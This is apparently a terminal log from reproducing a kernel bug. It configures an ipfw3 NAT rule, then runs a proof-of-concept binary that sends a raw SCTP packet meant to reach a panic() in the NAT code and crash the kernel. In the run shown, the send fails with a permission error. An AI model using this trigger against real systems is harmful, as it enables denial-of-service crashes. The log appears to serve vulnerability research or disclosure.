$ ipfw3 nat 1 config ip 10.0.2.15
$ ipfw3 add 100 nat 1 ip from any to 10.0.3.5 out
$ ipfw3 add 200 allow ip from any to any
$ ipfw3 show
00100  0     0 nat 1 to 10.0.3.5 out
00200 59 11596 allow
65535  1   108 deny

$ /root/poc/raw_trigger
[*] DF-0571 raw trigger: sending IP packet with proto=132 (SCTP)
[*] if a NAT rule matches, kernel will panic at
[*] ip_fw3_nat.c:254 panic("ipfw3: unsupported proto %u")
[*] sendto() ... (panic should immediately follow)
[+} sendto returned -1 (errno=13: Permission denied)